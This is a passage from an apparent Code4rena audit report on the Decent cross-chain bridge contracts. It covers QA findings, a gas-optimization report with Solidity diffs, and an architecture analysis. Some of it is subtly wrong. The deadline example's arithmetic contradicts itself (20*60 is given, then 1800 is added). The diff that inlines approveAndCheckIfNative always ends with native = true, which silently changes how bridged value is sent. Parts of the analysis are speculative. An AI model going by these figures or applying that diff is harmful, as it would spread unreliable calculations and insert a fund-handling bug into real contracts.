for example 20 minutes in the future at which a swap transaction must fail if it has not been executed.
This is handled by most swap frontends like Uniswap frontend. A user just gets to choose how many minutes in the future should be set as the deadline
for the swap.
The user can select for example 20 minutes on the frontend and the frontend handles the calculation of the timestamp literal to be supplied to the swap function.
For example deadline is unix timestamp
+ 20 minutes
.
unix timestamp
= number of seconds from 1970 till the current moment
= block.timestamp
.
20 minutes
= 20 * 60.
deadline = 2578383 + 1800 = 2579583 seconds.
[N-01] Lack of address existence check
There are 3 instances of this
- https://github.com/code-423n4/2024-01-decent/blob/07ef78215e3d246d47a410651906287c6acec3ef/src/UTBExecutor.sol#L52
- https://github.com/code-423n4/2024-01-decent/blob/07ef78215e3d246d47a410651906287c6acec3ef/src/UTBExecutor.sol#L65
- https://github.com/code-423n4/2024-01-decent/blob/07ef78215e3d246d47a410651906287c6acec3ef/src/UTBExecutor.sol#L70
The target
address in the execute(...)
function was not checked for address existence before making a .call(...)
to it.
According to Solidity docs:
The low-level functions call, delegatecall and staticcall return true as their >first return value if the account called is non-existent, as part of the design of >the EVM. Account existence must be checked prior to calling if needed.
Impact
If target
address does not exist, the boolean return value from .call(...)
will return true when infact the asset was not transferred.
Recommendation:
Implement contract existence check before address.call()
.
function doesContractExist(address contractAddress) external view returns (bool) {
// Check if the contract's code size is greater than zero
uint256 codeSize;
assembly {
codeSize := extcodesize(contractAddress)
}
return codeSize > 0;
}
[N-02] _sendToRecipient(...)
is unnecessary if the receiver
is passed as the receipient
of the swap parameter.
There are 2 instances of this
- https://github.com/code-423n4/2024-01-decent/blob/07ef78215e3d246d47a410651906287c6acec3ef/src/swappers/UniSwapper.sol#L130C13-L140C68
- https://github.com/code-423n4/2024-01-decent/blob/07ef78215e3d246d47a410651906287c6acec3ef/src/swappers/UniSwapper.sol#L150C13-L168C79
The swapExactIn(...)
and the swapExactOut(...)
did a two way movement of output asset by first sending the output asset of the swap to address(this)
before sending it to the receiver.
It is much more efficient to pass the receiver
parameter as the recipient
address in the swap param in order to directly send asset to the receiver
.
With this there will be no need for the _sendToRecipient(...)
function since swap output will be sent directly.
function swapExactIn(
SwapParams memory swapParams, // SwapParams is a struct
address receiver
) public payable routerIsSet returns (uint256 amountOut) {
swapParams = _receiveAndWrapIfNeeded(swapParams);
IV3SwapRouter.ExactInputParams memory params = IV3SwapRouter
.ExactInputParams({
path: swapParams.path,
@> recipient: address(this),//@audit pass receiver here
amountIn: swapParams.amountIn,
amountOutMinimum: swapParams.amountOut
});
IERC20(swapParams.tokenIn).approve(uniswap_router, swapParams.amountIn);
amountOut = IV3SwapRouter(uniswap_router).exactInput(params);
@> _sendToRecipient(receiver, swapParams.tokenOut, amountOut);
}
Impact:
Waste of gas and adds more unnecessary codes to the codebase which could open more attack surface for vulnerabilities.
Recommendation:
Consider passing the receiver
parameter to the ExactInputParams’ receipient
like in this diff below
function swapExactIn(...) {
...
IV3SwapRouter.ExactInputParams memory params = IV3SwapRouter
.ExactInputParams({
path: swapParams.path,
-- recipient: address(this),
++ recipient: receiver,
amountIn: swapParams.amountIn,
amountOutMinimum: swapParams.amountOut
});
IERC20(swapParams.tokenIn).approve(uniswap_router, swapParams.amountIn);
amountOut = IV3SwapRouter(uniswap_router).exactInput(params);
-- _sendToRecipient(receiver, swapParams.tokenOut, amountOut);
}
This report is tied with #276 and was selected as the best due to its more curated look, highlighting instances per finding instead of containing only code.
Gas Optimizations
For this audit, 6 reports were submitted by wardens detailing gas optimizations. The report highlighted below by c3phas received the top score from the judge.
The following wardens also submitted reports: 0x11singh99, slvDev, hunter_w3b, dharma09, and Raihan.
Codebase Optimization Report
Table of Contents
-
- Table of Contents
- Auditor’s Disclaimer
- Using immutable on variables that are only set in the constructor and never after (Save 8400 Gas) - Missed by bots
bridgeToken
should be immutableexecutor
should be immutableweth
andgasCurrencyIsEth
should be immutable- Unnecessary SLOADs due to how functions are executed
- Save an entire sload by using short circuiting to our advantage
- Use the memory variable instead of reading the state variable
- Unnecessary use of concat function
- No need to use concat since we only have one string
- Declare a constant variable for
GAS_FOR_RELAY
- Refactor the modifier to save 1 SLOAD(100 Gas)
- Using unchecked blocks to save gas
- Cache storage values in memory to minimize SLOADs
- router should be cached(saves 1 SLOAD ~100 Gas) - not found by bot
- Unused private functions should be deleted
- Conclusion
Auditor’s Disclaimer
While we try our best to maintain readability in the provided code snippets, some functions have been truncated to highlight the affected portions.
It’s important to note that during the implementation of these suggested changes, developers must exercise caution to avoid introducing vulnerabilities. Although the optimizations have been tested prior to these recommendations, it is the responsibility of the developers to conduct thorough testing again.
Code reviews and additional testing are strongly advised to minimize any potential risks associated with the refactoring process.
Note: Some titles may be similar to those in the winning bot report but the issues identified were missed by bot submissions.
Using immutable on variables that are only set in the constructor and never after (Save 8400 Gas) - Missed by bots
Use immutable if you want to assign a permanent value at construction. Use constants if you already know the permanent value. Both get directly embedded in bytecode, saving SLOAD. Variables only set in the constructor and never edited afterwards should be marked as immutable, as it would avoid the expensive storage-writing operation in the constructor (around 20 000 gas per variable) and replace the expensive storage-reading operations (around 2100 gas per reading) to a less expensive value reading (3 gas).
Total Instances: 4 Gas per instance: 2100 Total Saved: 8400 Gas
bridgeToken
should be immutable
File: /src/bridge_adapters/DecentBridgeAdapter.sol
19: address bridgeToken;
diff --git a/src/bridge_adapters/DecentBridgeAdapter.sol b/src/bridge_adapters/DecentBridgeAdapter.sol
index 69bf19e..daaf4f8 100644
--- a/src/bridge_adapters/DecentBridgeAdapter.sol
+++ b/src/bridge_adapters/DecentBridgeAdapter.sol
@@ -16,7 +16,7 @@ contract DecentBridgeAdapter is BaseAdapter, IBridgeAdapter {
mapping(uint256 => uint16) lzIdLookup;
mapping(uint16 => uint256) chainIdLookup;
bool gasIsEth;
- address bridgeToken;
+ address immutable bridgeToken;
executor
should be immutable
File: /src/DecentEthRouter.sol
15: IDecentBridgeExecutor public executor;
weth
and gasCurrencyIsEth
should be immutable
File: /src/DecentBridgeExecutor.sol
9: IWETH weth;
10: bool public gasCurrencyIsEth; // for chains that use ETH as gas currency
Unnecessary SLOADs due to how functions are executed
File: /src/UTB.sol
282: function callBridge(
283: uint256 amt2Bridge,
284: uint bridgeFee,
285: BridgeInstructions memory instructions
286: ) private returns (bytes memory) {
287: bool native = approveAndCheckIfNative(instructions, amt2Bridge);
288: return
289: IBridgeAdapter(bridgeAdapters[instructions.bridgeId]).bridge{
290: value: bridgeFee + (native ? amt2Bridge : 0)
291: }(
292: amt2Bridge,
293: instructions.postBridge,
294: instructions.dstChainId,
295: instructions.target,
296: instructions.paymentOperator,
297: instructions.payload,
298: instructions.additionalArgs,
299: instructions.refund
300: );
301: }
The above function makes a call to function approveAndCheckIfNative
whose implementation is as follows:
function approveAndCheckIfNative(
BridgeInstructions memory instructions,
uint256 amt2Bridge
) private returns (bool) {
IBridgeAdapter bridgeAdapter = IBridgeAdapter(bridgeAdapters[instructions.bridgeId]);
address bridgeToken = bridgeAdapter.getBridgeToken(
instructions.additionalArgs
);
if (bridgeToken != address(0)) {
IERC20(bridgeToken).approve(address(bridgeAdapter), amt2Bridge);
return false;
}
return true;
}
Now, note that in both functions we are reading the state variable IBridgeAdapter(bridgeAdapters[instructions.bridgeId])
.
If we in line the functionality of approveAndCheckIfNative
inside the function callBridge
we can avoid making this unnecessary sloads:
diff --git a/src/UTB.sol b/src/UTB.sol
index 3d05b38..c864b81 100644
--- a/src/UTB.sol
+++ b/src/UTB.sol
@@ -284,9 +284,20 @@ contract UTB is Owned {
uint bridgeFee,
BridgeInstructions memory instructions
) private returns (bytes memory) {
- bool native = approveAndCheckIfNative(instructions, amt2Bridge);
+
+ bool native;
+ IBridgeAdapter bridgeAdapter = IBridgeAdapter(bridgeAdapters[instructions.bridgeId]);
+ address bridgeToken = bridgeAdapter.getBridgeToken(
+ instructions.additionalArgs
+ );
+ if (bridgeToken != address(0)) {
+ IERC20(bridgeToken).approve(address(bridgeAdapter), amt2Bridge);
+ native = false;
+ }
+ native = true;
+
return
- IBridgeAdapter(bridgeAdapters[instructions.bridgeId]).bridge{
+ bridgeAdapter.bridge{
value: bridgeFee + (native ? amt2Bridge : 0)
}(
amt2Bridge,
The function approveAndCheckIfNative
is no longer needed and we can simply delete the code.
Save an entire sload by using short circuiting to our advantage
Note, if we implement the immutable finding, then we do not have to do this.
File: /src/DecentBridgeExecutor.sol
68: function execute(
69: address from,
70: address target,
71: bool deliverEth,
72: uint256 amount,
73: bytes memory callPayload
74: ) public onlyOwner {
75: weth.transferFrom(msg.sender, address(this), amount);
77: if (!gasCurrencyIsEth || !deliverEth) {
78: _executeWeth(from, target, amount, callPayload);
79: } else {
80: _executeEth(from, target, amount, callPayload);
81: }
82: }
The if condition checks the status of gasCurrencyIsEth
which is a state variable(SLOAD) then depending on the result, it will check deliverEth
which is a function parameter(mload)
The second check is way cheaper and thus we can use the rules of short circuiting to our advantage
diff --git a/src/DecentBridgeExecutor.sol b/src/DecentBridgeExecutor.sol
index 1a47cb5..f33e301 100644
--- a/src/DecentBridgeExecutor.sol
+++ b/src/DecentBridgeExecutor.sol
@@ -74,12 +74,12 @@ contract DecentBridgeExecutor is IDecentBridgeExecutor, Owned {
) public onlyOwner {
weth.transferFrom(msg.sender, address(this), amount);
- if (!gasCurrencyIsEth || !deliverEth) {
+ if (!deliverEth || !gasCurrencyIsEth ) {
_executeWeth(from, target, amount, callPayload);
} else {
_executeEth(from, target, amount, callPayload);
}
- }
Use the memory variable instead of reading the state variable
File: /src/swappers/UniSwapper.sol
79: function _receiveAndWrapIfNeeded(
80: SwapParams memory swapParams
81: ) private returns (SwapParams memory _swapParams) {
82: if (swapParams.tokenIn != address(0)) {
83: IERC20(swapParams.tokenIn).transferFrom(
84: msg.sender,
85: address(this),
86: swapParams.amountIn
87: );
88: return swapParams;
89: }
90: swapParams.tokenIn = wrapped;
91: IWETH(wrapped).deposit{value: swapParams.amountIn}();
92: return swapParams;
93: }
diff --git a/src/swappers/UniSwapper.sol b/src/swappers/UniSwapper.sol
index 929f710..c47e998 100644
--- a/src/swappers/UniSwapper.sol
+++ b/src/swappers/UniSwapper.sol
@@ -88,7 +88,7 @@ contract UniSwapper is UTBOwned, ISwapper {
return swapParams;
}
swapParams.tokenIn = wrapped;
- IWETH(wrapped).deposit{value: swapParams.amountIn}();
+ IWETH(swapParams.tokenIn).deposit{value: swapParams.amountIn}();
return swapParams;
}
Unnecessary use of concat function
File: /src/bridge_adapters/StargateBridgeAdapter.sol
154: function getDestAdapter(uint chainId) private view returns (address dstAddr) {
155: dstAddr = destinationBridgeAdapter[chainId];
157: require(
158: dstAddr != address(0),
159: string.concat("dst chain address not set ")
160: );
161: }
diff --git a/src/bridge_adapters/StargateBridgeAdapter.sol b/src/bridge_adapters/StargateBridgeAdapter.sol
index c0339aa..b6b06fd 100644
--- a/src/bridge_adapters/StargateBridgeAdapter.sol
+++ b/src/bridge_adapters/StargateBridgeAdapter.sol
@@ -155,8 +155,7 @@ contract StargateBridgeAdapter is
dstAddr = destinationBridgeAdapter[chainId];
require(
- dstAddr != address(0),
- string.concat("dst chain address not set ")
+ dstAddr != address(0),"dst chain address not set "
);
}
No need to use concat since we only have one string
File: /src/bridge_adapters/DecentBridgeAdapter.sol
81: function bridge(
82: uint256 amt2Bridge,
83: SwapInstructions memory postBridge,
84: uint256 dstChainId,
85: address target,
86: address paymentOperator,
87: bytes memory payload,
88: bytes calldata additionalArgs,
89: address payable refund
90: ) public payable onlyUtb returns (bytes memory bridgePayload) {
91: require(
92: destinationBridgeAdapter[dstChainId] != address(0),
93: string.concat("dst chain address not set ")
94: );
diff --git a/src/bridge_adapters/DecentBridgeAdapter.sol b/src/bridge_adapters/DecentBridgeAdapter.sol
index 69bf19e..b32abe3 100644
--- a/src/bridge_adapters/DecentBridgeAdapter.sol
+++ b/src/bridge_adapters/DecentBridgeAdapter.sol
@@ -90,7 +90,7 @@ contract DecentBridgeAdapter is BaseAdapter, IBridgeAdapter {
) public payable onlyUtb returns (bytes memory bridgePayload) {
require(
destinationBridgeAdapter[dstChainId] != address(0),
- string.concat("dst chain address not set ")
+ "dst chain address not set "
);
Declare a constant variable for GAS_FOR_RELAY
File: /src/DecentEthRouter.sol
96: uint256 GAS_FOR_RELAY = 100000;
97: uint256 gasAmount = GAS_FOR_RELAY + _dstGasForCall;
@@ -18,8 +18,9 @@ contract DecentEthRouter is IDecentEthRouter, IOFTReceiverV2, Owned {
uint8 public constant MT_ETH_TRANSFER_WITH_PAYLOAD = 1;
uint16 public constant PT_SEND_AND_CALL = 1;
+ uint256 public constant GAS_FOR_RELAY = 100000;
@@ -93,7 +94,7 @@ contract DecentEthRouter is IDecentEthRouter, IOFTReceiverV2, Owned {
bytes memory payload
)
{
- uint256 GAS_FOR_RELAY = 100000;
+
uint256 gasAmount = GAS_FOR_RELAY + _dstGasForCall;
adapterParams = abi.encodePacked(PT_SEND_AND_CALL, gasAmount);
destBridge = bytes32(abi.encode(destinationBridges[_dstChainId]));
Refactor the modifier to save 1 SLOAD(100 Gas)
File: /src/DecentEthRouter.sol
60: modifier userIsWithdrawing(uint256 amount) {
61: uint256 balance = balanceOf[msg.sender];
62: require(balance >= amount, "not enough balance");
63: _;
64: balanceOf[msg.sender] -= amount;
65: }
We are caching the value of balanceOf[msg.sender]
on line 61 but due to how we perform the arithmetic operation on line 64, we cannot take advantage of the cached variable(using the short form -=
utilizes the first variable). We can change this to the long form (x = x - y
) which would allow us to use the variable balance
which saves us an entire SLOAD(100 Gas).
uint256 balance = balanceOf[msg.sender];
require(balance >= amount, "not enough balance");
_;
- balanceOf[msg.sender] -= amount;
+ balanceOf[msg.sender] = balance - amount;
}
Using unchecked blocks to save gas
Solidity version 0.8+ comes with implicit overflow and underflow checks on unsigned integers. When an overflow or an underflow isn’t possible (as an example, when a comparison is made before the arithmetic operation), some gas can be saved by using an unchecked block (see resource)
File: /src/DecentEthRouter.sol
60: modifier userIsWithdrawing(uint256 amount) {
61: uint256 balance = balanceOf[msg.sender];
62: require(balance >= amount, "not enough balance");
63: _;
64: balanceOf[msg.sender] -= amount;
65: }
The check on line 62 ensures that the arithmetic operation on line 64 would never overflow since it would only be performed if balanceOf[msg.sender]
is greater than amount
.
@@ -61,7 +61,10 @@ contract DecentEthRouter is IDecentEthRouter, IOFTReceiverV2, Owned {
uint256 balance = balanceOf[msg.sender];
require(balance >= amount, "not enough balance");
_;
- balanceOf[msg.sender] -= amount;
+ unchecked{
+ balanceOf[msg.sender] -= amount;
+ }
+
}
Cache storage values in memory to minimize SLOADs
The code can be optimized by minimizing the number of SLOADs.
SLOADs are expensive (100 gas after the 1st one) compared to MLOADs/MSTOREs (3 gas each). Storage values read multiple times should instead be cached in memory the first time (costing 1 SLOAD) and then read from this cache to avoid multiple SLOADs.
router should be cached(saves 1 SLOAD ~100 Gas) - not found by bot
File: /src/bridge_adapters/DecentBridgeAdapter.sol
55: return
56: router.estimateSendAndCallFee(
57: router.MT_ETH_TRANSFER_WITH_PAYLOAD(),
58: lzIdLookup[dstChainId],
59: target,
60: swapParams.amountIn,
61: dstGas,
62: false,
63: payload
64: );
Unused private functions should be deleted
File: /src/bridge_adapters/StargateBridgeAdapter.sol
100: function getValue(
101: bytes calldata additionalArgs,
102: uint256 amt2Bridge
103: ) private view returns (uint value) {
104: (address bridgeToken, LzBridgeData memory lzBridgeData) = abi.decode(
105: additionalArgs,
106: (address, LzBridgeData)
107: );
108: return
109: bridgeToken == stargateEth
110: ? (lzBridgeData.fee + amt2Bridge)
111: : lzBridgeData.fee;
112: }
Conclusion
It is important to emphasize that the provided recommendations aim to enhance the efficiency of the code without compromising its readability. We understand the value of maintainable and easily understandable code to both developers and auditors.
As you proceed with implementing the suggested optimizations, please exercise caution and be diligent in conducting thorough testing. It is crucial to ensure that the changes are not introducing any new vulnerabilities and that the desired performance improvements are achieved. Review code changes, and perform thorough testing to validate the effectiveness and security of the refactored code.
Should you have any questions or need further assistance, please don’t hesitate to reach out.
One of the two reports with no penalties (i.e. incorrect findings), and shows a lot of manual effort was put into this.
The majority of the gas reports in this audit are statically generated with minimal manual effort, and this particular submission is a welcome exception. I do not have an issue with users relying on automated tools and then post-processing their outputs manually (i.e. like this Warden who may or may not have used tools but has zero invalids).
Audit Analysis
For this audit, 13 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by fouzantanveer received the top score from the judge.
The following wardens also submitted reports: yongskiws, 0xepley, SBSecurity, SAQ, 0xSmartContract, catellatech, 0xAadi, hunter_w3b, ihtishamsudo, foxb868, clara, and albahaca.
Conceptual Overview
Purpose and Functionality:
Decent is a blockchain-based project designed to simplify and enhance the experience of conducting transactions across multiple blockchain networks. In the ever-growing landscape of blockchain technology, one significant challenge users face is the fragmentation of liquidity and assets across different chains. Decent addresses this by enabling seamless transactions, such as payments or asset transfers, using funds or tokens from any blockchain network.
Note: to view the provided image, please see the original submission here.
Problem Solving and Need in Web3:
The primary problem Decent solves is the complexity and inconvenience in managing assets across multiple blockchains. In the current state of Web3, users often have to navigate through a maze of exchanges, wallets, and bridge services to move assets or make payments on different chains. This not only complicates the user experience but also increases the transaction time and cost. Decent streamlines this process, allowing users to interact with various blockchains easily, using a single interface.
How Decent Works: Decent works by aggregating different functionalities like swapping (exchanging one token for another), bridging (transferring tokens from one blockchain to another), and executing transactions on-chain. It allows users to perform actions like minting an NFT or participating in a DeFi protocol on one blockchain while paying with tokens from another chain. For instance, a user can pay with Ethereum on the Ethereum network for a transaction executed on the Polygon network.
Distinct Features:
- Cross-Chain Transactions: Decent’s most notable feature is its ability to facilitate transactions across various blockchains seamlessly. This interoperability is a significant step towards a more integrated and user-friendly blockchain ecosystem.
- Single-Click Transactions: Decent simplifies the transaction process to a single click, significantly improving user experience and accessibility.
- Support for Various Tokens: The platform is designed to interact with any ERC20 token with liquidity, meaning it can handle a wide range of cryptocurrencies.
- Interaction with NFTs: Decent theoretically supports interactions with any ERC721 token, such as NFTs, enabling functionalities like minting through its system.
- Fee Management: The platform includes mechanisms to handle transaction fees efficiently, ensuring that the costs are transparent and minimized.
Insights for Consideration:
From a non-technical standpoint, Decent represents a significant leap in making blockchain technology more accessible and practical for everyday users. Its ability to bridge the gaps between various blockchains addresses one of the critical pain points in the current blockchain ecosystem – the siloed nature of different networks. By enabling easy cross-chain interactions, Decent not only enhances the user experience but also opens up new possibilities for decentralized applications (dApps) and services that can operate across multiple blockchains.
In essence, Decent can be viewed as a unifying platform that brings coherence to a fragmented blockchain landscape, making it more user-friendly and efficient. This is especially pertinent in the context of the growing DeFi and NFT spaces, where users frequently interact with multiple blockchains. Decent’s approach of simplifying these interactions while maintaining security and efficiency is a noteworthy contribution to the Web3 ecosystem.
Let’s dive deeper into the architecture of Decent, focusing on the user interaction flow and the interplay between various contracts and functions.
Architecture
Note: to view the provided image, please see the original submission here.
Explanation:
**User Interaction: Represents the initial user action that triggers the process.
- UTB Contract: The central contract that receives the user’s call.
- Action Determination: The UTB contract determines whether the action is a swap or a bridge.
- Swapper and Bridge Adapter Contracts: Depending on the action, it interacts with either the Swapper or the Bridge Adapter.
- Token Swap and Bridge Logic: The respective contract executes its core logic, either swapping tokens or bridging them to another chain.
- Execution of Transaction: After the swap/bridge, the transaction needs to be executed.
- UTB Executor Contract: This contract is responsible for executing the transaction.
- Transaction Success or Failure: The outcome of the transaction is determined.
- Completion and Reversion Logic: Depending on the outcome, the process either completes the transaction or handles reversion/refunds.
-
User Balance/Status Update: Finally, the user’s balance or status is updated, and feedback is provided. **
Sequence Diagram of important functions
Note: to view the provided image, please see the original submission here.
This diagram illustrates two key transaction flows in the Decent project:
swapAndExecute Flow: The user initiates a swap-and-execute transaction, leading to a series of calls between the UTB, UniSwapper, and UTBExecutor contracts, with fee collection handled by the UTBFeeCollector.
bridgeAndExecute Flow: Here, the user initiates a bridge-and-execute transaction. The UTB contract interacts with a BridgeAdapter to handle cross-chain bridging, then executes the transaction via the UTBExecutor, and manages fees with the UTBFeeCollector.
User Interaction and Contract Workflow in Decent
-
Starting Point: User Interactions with UTB
- The journey typically begins with the user interacting with the
UTB
(Universal Transaction Bridge) contract. - Scenario 1: Swap and Execute
- User wants to perform an action (like minting an NFT) on Chain B but wishes to pay with Token A from Chain A.
- They interact with
swapAndExecute
inUTB
. -
Internal Workflow:
performSwap
: First, if needed, it swaps Token A to a desired intermediate token (using a registeredISwapper
, such asUniSwapper
if Uniswap is involved).performSwap
callsswap
on the relevantISwapper
, which handles the logic of interacting with a DEX to perform the actual swap.- Post swap,
UTB
callsUTBExecutor
with the swapped token to execute the target action on Chain B.
- Scenario 2: Bridge and Execute
- User wants to perform a transaction on Chain B using Token A from Chain A without swapping.
- They call
bridgeAndExecute
inUTB
. -
Internal Workflow:
swapAndModifyPostBridge
: If any pre-bridge token swap is needed, it’s performed here.callBridge
: This function then calls a bridge operation using aIBridgeAdapter
likeDecentBridgeAdapter
orStargateBridgeAdapter
, depending on the chains involved.- On the destination chain, the bridged amount is used by
UTBExecutor
to complete the desired action.
- The journey typically begins with the user interacting with the
-
Fee Collection
- In both scenarios, fees are handled by the
UTBFeeCollector
. - The
collectFees
function is called, ensuring that transaction fees are appropriately gathered. ThecollectFees
function in the Decent project’sUTBFeeCollector
contract is technically structured to handle the intricacies of fee collection across various transactions. This function is invoked with aFeeStructure
parameter, which outlines the fee details, including the token type (native or ERC20) and the fee amount. For ERC20 fees, the function executes atransferFrom
operation, moving the specified fee amount from the user’s account to the fee collector. In the case of native currency fees, the collection is handled through direct value transfers within the transaction.
A key technical aspect of
collectFees
is its security and verification process. The function typically includes mechanisms to authenticate the fee structure, possibly using digital signatures to validate that the collected fees align with predetermined criteria or agreements. This verification is crucial for maintaining the integrity of the fee collection process. - In both scenarios, fees are handled by the
-
Handling Refunds and Failures
In the Decent project, the mechanism for handling refunds and transaction failures is a crucial aspect of its architecture, particularly given the complexity of cross-chain transactions. The contracts are designed to manage various scenarios where a transaction might not go as planned, necessitating a refund.
When a user initiates a transaction that involves a swap, such as through the
UniSwapper
contract, the system calculates the exact amount of tokens needed for the swap. If there’s an excess – for instance, if the actual amount required for the swap is less than the user provided – the contract is designed to automatically refund the surplus to the user. This process is managed within the swapping contract itself, ensuring that users only spend what is necessary for their transaction.In the context of bridging operations, managed by contracts like the
DecentBridgeAdapter
, the refund mechanism is slightly more complex due to the nature of cross-chain transactions. If a transaction fails after the assets have been bridged to the destination chain, the protocol must ensure that these assets are either returned to the user’s original chain or held securely until the user can retrieve them. The bridge contract, therefore, includes logic to detect transaction failures on the destination chain and initiate the appropriate refund process.The overarching
UTB
(Universal Transaction Bridge) contract plays a critical role in orchestrating these operations. It oversees the entire transaction flow – from initiating swaps or bridges to executing the final transaction step. If a failure occurs at any point in this flow, theUTB
contract is responsible for triggering the necessary refund actions. This could involve coordinating with the involved swapper or bridge adapter contracts to ensure that the user’s funds are safely returned.In essence, the refund mechanism in Decent is an integral part of its transactional architecture, ensuring that users are protected from losing funds in failed transactions. The system is designed to recognize when a transaction doesn’t proceed as expected and to automatically take steps to safeguard users’ assets, whether that involves refunding excess tokens from a swap or managing more complex scenarios in cross-chain bridges. This approach not only enhances the security and reliability of the platform but also bolsters user trust in engaging with these advanced blockchain operations.
-
DcntEth: ERC-20 Compliance and Token Handling
DcntEth.sol
complies with the ERC-20 standard and is likely used for handling Decent’s native tokens within these transactions.- It might be involved when the transaction in
UTBExecutor
requires dealing with DcntEth tokens (minting or burning in cross-chain operations).
-
DecentEthRouter: Routing Logic
- It plays a crucial role in managing cross-chain operations, especially in scenarios involving the LayerZero protocol.
- Its functions might be called post-bridge to handle the delivery of assets or execution of calls on the destination chain.
-
DecentBridgeExecutor: Final Execution
- For operations that involve bridging,
DecentBridgeExecutor
might come into play, especially for executing complex cross-chain transactions.
- For operations that involve bridging,
Insights into the Logic of Core Functions
- Flexibility and Interoperability: The architecture is designed for flexibility, allowing users to pay with different tokens across various chains. The use of swappers and bridge adapters makes the system adaptable to various DEXs and bridge services.
- Security and Efficiency: Security is a paramount concern, especially in functions that handle asset transfers and swaps. The use of onlyOwner and similar modifiers ensures controlled access to critical functionalities.
- User-Centric Design: The architecture prioritizes user convenience, minimizing the steps they need to take for cross-chain interactions while ensuring that transactions are processed efficiently and securely.
Logic of swapAndExecute
in UTB.sol
-
Function Purpose:
swapAndExecute
is designed to facilitate transactions that require a token swap before execution. This is typically used for transactions within the same blockchain.
-
Operational Flow:
- Token Swap: The function begins by calling
performSwap
, which exchanges the user’s token to the required token for the transaction. This involves interacting with a swapper contract (likeUniSwapper
), which handles the swap logic with an external DEX like Uniswap. - Executing Transaction: Post swap, the swapped tokens are used to execute the desired transaction. This is done by calling the
UTBExecutor
contract with the necessary parameters (target contract, payload, etc.). - Fee Handling: Concurrently, the function manages transaction fees through interactions with the
UTBFeeCollector
.
- Token Swap: The function begins by calling
-
Key Considerations:
- The function must handle various token standards and ensure accurate execution of swaps.
- It deals with potential edge cases, such as insufficient liquidity or swap failures, and includes mechanisms to revert or adjust the transaction accordingly.
Logic of bridgeAndExecute
in UTB.sol
-
Function Purpose:
bridgeAndExecute
allows users to execute transactions on a different blockchain using funds from their current blockchain. This involves bridging assets across chains.
-
Operational Flow:
- Pre-Bridge Swap (If Needed): If the user’s tokens need to be swapped before bridging,
swapAndModifyPostBridge
is invoked. This function swaps the tokens and prepares them for the bridge operation. - Bridging: The function then calls a bridge adapter (like
DecentBridgeAdapter
orStargateBridgeAdapter
) to transfer the assets to the target blockchain. This involves complex interactions with cross-chain protocols. - Post-Bridge Execution: Once the assets are on the destination chain,
UTBExecutor
on that chain executes the intended transaction. - Fee Management: Similar to
swapAndExecute
, this function also handles fees through theUTBFeeCollector
.
- Pre-Bridge Swap (If Needed): If the user’s tokens need to be swapped before bridging,
-
Key Considerations:
- Ensuring the security and reliability of cross-chain transfers is crucial.
- The function must account for differences in blockchain protocols and handle potential failures or delays in bridging.
Conclusion
Both swapAndExecute
and bridgeAndExecute
embody the essence of Decent’s cross-chain capabilities. They showcase not only technical sophistication in handling complex blockchain operations but also an intuitive understanding of user needs in the DeFi space. These functions are pivotal in enabling users to navigate the multi-chain landscape seamlessly, making Decent a notable project in the realm of blockchain interoperability.
In summary, Decent’s architecture is a sophisticated web of smart contracts each designed for specific roles yet collectively working towards a seamless cross-chain transaction experience. From initiating transactions in UTB
to executing actions on destination chains via UTBExecutor
and DecentBridgeExecutor
, the system harmonizes different blockchain operations under one umbrella. The design reflects a deep understanding of cross-chain dynamics and user needs in the blockchain space.
Quality of Codebase:
After an in-depth analysis of the Decent project’s codebase, it’s clear that the quality is Excellent, showcasing thoughtful architecture and intricate inter-function logic. The codebase demonstrates a sophisticated understanding of blockchain mechanics, especially in terms of cross-chain interactions.
filename | language | code | comment | blank | total |
---|---|---|---|---|---|
Scope/BaseAdapter.sol | Solidity | 16 | 1 | 6 | 23 |
Scope/DcntEth.sol | Solidity | 27 | 4 | 9 | 40 |
Scope/DecentBridgeAdapter.sol | Solidity | 137 | 1 | 22 | 160 |
Scope/DecentBridgeExecutor.sol | Solidity | 57 | 19 | 14 | 90 |
Scope/DecentEthRouter.sol | Solidity | 290 | 13 | 38 | 341 |
Scope/StargateBridgeAdapter.sol | Solidity | 190 | 3 | 29 | 222 |
Scope/SwapParams.sol | Solidity | 13 | 5 | 3 | 21 |
Scope/UTB.sol | Solidity | 232 | 79 | 32 | 343 |
Scope/UTBExecutor.sol | Solidity | 52 | 20 | 11 | 83 |
Scope/UTBFeeCollector.sol | Solidity | 50 | 20 | 11 | 81 |
Scope/UniSwapper.sol | Solidity | 145 | 3 | 27 | 175 |
-
Modularity and Readability:
- The code is well-structured and modular. Functions and contracts are purposefully segmented, enhancing readability and maintainability. This modularity is evident in the separation of concerns between contracts like
UTB
,UTBExecutor
, and various adapters.
- The code is well-structured and modular. Functions and contracts are purposefully segmented, enhancing readability and maintainability. This modularity is evident in the separation of concerns between contracts like
-
Complex Logic Handling:
- Core functions like
swapAndExecute
andbridgeAndExecute
inUTB.sol
are implemented with complex yet clear logic. These functions efficiently orchestrate the sequence of operations – swapping, bridging, and executing transactions across different chains.
- Core functions like
-
Security Practices:
- The use of modifiers for access control and adherence to standard security practices, such as checks-effects-interactions pattern, reflects a security-conscious approach. However, the project could benefit from implementing more comprehensive security checks, especially in handling ERC20
approve
andtransferFrom
methods.
- The use of modifiers for access control and adherence to standard security practices, such as checks-effects-interactions pattern, reflects a security-conscious approach. However, the project could benefit from implementing more comprehensive security checks, especially in handling ERC20
Recommendations:
-
Optimization of State Variable Access (GAS-1):
- To optimize gas usage, it’s recommended to cache state variables in local stack variables in functions where they are accessed multiple times.
-
Use of
calldata
Overmemory
(GAS-2):- Wherever possible, switching function parameters to
calldata
instead ofmemory
will reduce gas costs, particularly in functions that don’t mutate these parameters.
- Wherever possible, switching function parameters to
-
Custom Error Handling (GAS-4):
- Implementing custom error messages instead of revert strings can optimize gas usage, making the code more efficient.
Core Logics of the Project:
-
Cross-Chain Transaction Management:
- The heart of Decent lies in its ability to manage complex cross-chain transactions seamlessly. This involves a series of swaps and bridges, handled by respective contracts with high efficiency.
-
Fee Collection and Management:
UTBFeeCollector
demonstrates sophisticated logic for handling transaction fees in various scenarios, crucial for maintaining the economic model of the platform.
-
Security and Efficiency in Swapping and Bridging:
- The swapping (via
UniSwapper
) and bridging (via adapters likeDecentBridgeAdapter
) processes are carefully crafted, balancing security and efficiency. Particularly, the integration with external protocols like Uniswap and the handling of token transfers and approvals are executed with precision.
- The swapping (via
Conclusion:
